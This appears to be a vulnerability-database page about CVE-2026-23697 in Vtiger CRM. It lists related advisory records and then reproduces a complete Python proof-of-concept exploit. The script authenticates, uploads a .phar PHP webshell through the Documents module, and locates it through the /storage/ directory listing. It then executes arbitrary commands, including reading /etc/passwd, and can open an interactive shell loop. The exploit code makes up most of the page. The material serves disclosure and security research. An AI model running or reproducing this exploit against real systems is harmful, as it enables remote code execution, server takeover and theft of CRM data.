| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Exploit for CVE-2026-23697 | 7 Jul 202616:26 | – | githubexploit | |
| CVE-2026-23697 | 7 Jul 202616:17 | – | attackerkb | |
| CVE-2026-23697 | 7 Jul 202619:58 | – | circl | |
| CVE-2026-23697 | 7 Jul 202616:17 | – | cve | |
| CVE-2026-23697 Vtiger CRM < 8.4.0 Authenticated File Upload RCE via Documents Module | 7 Jul 202616:17 | – | cvelist | |
| EUVD-2026-42055 | 7 Jul 202616:17 | – | euvd | |
| CVE-2026-23697 | 7 Jul 202617:16 | – | nvd | |
| PT-2026-56207 | 7 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-23697 Vtiger CRM < 8.4.0 Authenticated File Upload RCE via Documents Module | 7 Jul 202616:17 | – | vulnrichment |
#!/usr/bin/env python3
"""
Vtiger CRM Authenticated RCE via .phar Upload
Affected versions: Vtiger CRM 8.3.0 (fresh wizard-installed instances where
'phar' is absent from upload_badext in config.inc.php)
Author: jiva (jivasecurity.com)
Three-component exploit chain:
1. .phar extension missing from the upload blacklist ($upload_badext in config.inc.php)
2. storage/.htaccess uses Apache 2.2 'deny from all' syntax -- silently ignored
on Apache 2.4 without mod_access_compat, making storage/ files web-accessible
3. Apache directory listing enabled on /storage/ -- exposes uploaded filename,
eliminating the only remaining obstacle (filename unpredictability)
Exploit flow:
1. Authenticate as any user with Documents module access
2. Upload a .phar webshell via the Documents module
3. Browse /storage/ directory listing to discover the stored filename
4. GET the .phar file to trigger PHP execution
Usage:
python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --port 8080
python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 -u jsmith -p password1 --cmd whoami
python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --cmd 'cat /etc/passwd'
Requirements:
pip3 install requests
"""
import argparse
import datetime
import re
import sys
import requests
requests.packages.urllib3.disable_warnings()
WEBSHELL = b'<?php system($_GET["cmd"]); ?>'
def get_csrf(session, url):
resp = session.get(url, verify=False)
# Try JS variable first, then hidden input form
m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
if not m:
m = re.search(r'name=["\']__vtrftk["\']\s+value=["\']([^"\']+)["\']', resp.text)
if not m:
sys.exit(f"[!] CSRF token not found at {url}")
return m.group(1)
def login(session, base, username, password):
csrf = get_csrf(session, f"{base}/index.php")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Users",
"action": "Login",
"username": username,
"password": password,
},
allow_redirects=True,
verify=False,
)
if "logout" not in resp.text.lower():
sys.exit("[!] Login failed — check credentials and target URL")
print(f"[+] Authenticated as {username!r}")
def upload_webshell(session, base):
csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Documents",
"action": "Save",
"record": "",
"notes_title": "report",
"folderid": "1",
"assigned_user_id": "1",
"notecontent": "test",
"filelocationtype": "I",
"filestatus": "1",
"fileversion": "1",
},
files={"filename": ("shell.phar", WEBSHELL, "application/octet-stream")},
allow_redirects=False,
verify=False,
)
if resp.status_code not in (301, 302):
print(f"[!] Upload did not redirect (HTTP {resp.status_code})")
print(" Possible causes:")
print(" - 'phar' is in the upload_badext blocklist on this instance")
print(" (applies to instances not installed via wizard, or with manual config)")
print(" - User lacks Documents module write access")
sys.exit(1)
print("[+] Webshell uploaded")
def find_shell(session, base):
now = datetime.datetime.now()
week = (now.day - 1) // 7 + 1
# Check current week first, then adjacent weeks to handle edge cases
candidates = [
(now.year, now.strftime("%B"), f"week{week}"),
(now.year, now.strftime("%B"), f"week{max(1, week - 1)}"),
]
for year, month, week_dir in candidates:
url = f"{base}/storage/{year}/{month}/{week_dir}/"
resp = session.get(url, verify=False)
if resp.status_code != 200 or "Index of" not in resp.text:
continue
m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
if m:
shell_url = url + m.group(1)
print(f"[+] Shell found via directory listing: {shell_url}")
return shell_url
sys.exit(
"[!] .phar file not found in directory listing.\n"
" Check that Apache directory listing is enabled on /storage/\n"
" and that the upload succeeded."
)
def execute(session, shell_url, cmd):
resp = session.get(shell_url, params={"cmd": cmd}, verify=False)
if resp.status_code != 200 or not resp.text.strip():
print(f"[!] Shell returned HTTP {resp.status_code} with empty body")
print(" The .phar file may not be executing as PHP.")
print(" Check that mod_access_compat is NOT loaded in Apache.")
sys.exit(1)
return resp.text.strip()
def main():
ap = argparse.ArgumentParser(
description="Vtiger CRM authenticated RCE via .phar upload",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Note: Exploitable on instances where 'phar' is absent from $upload_badext\n"
" (fresh wizard-installed instances). Requires Apache 2.4 without\n"
" mod_access_compat and directory listing enabled on /storage/."
),
)
ap.add_argument("--host", required=True, help="Target host")
ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
ap.add_argument("--shell", action="store_true",
help="Drop to interactive shell loop after initial RCE confirmation")
args = ap.parse_args()
base = f"http://{args.host}:{args.port}"
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] Target: {base}")
print(f"[*] Vtiger CRM .phar upload RCE")
login(session, base, args.username, args.password)
upload_webshell(session, base)
shell_url = find_shell(session, base)
output = execute(session, shell_url, args.cmd)
print(f"\n$ {args.cmd}")
print(output)
if args.shell:
print(f"\n[*] Interactive shell — Ctrl+C to exit")
print(f"[*] Shell URL: {shell_url}?cmd=<command>\n")
while True:
try:
cmd = input("$ ").strip()
if not cmd:
continue
print(execute(session, shell_url, cmd))
except KeyboardInterrupt:
print("\n[*] Exiting")
break
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation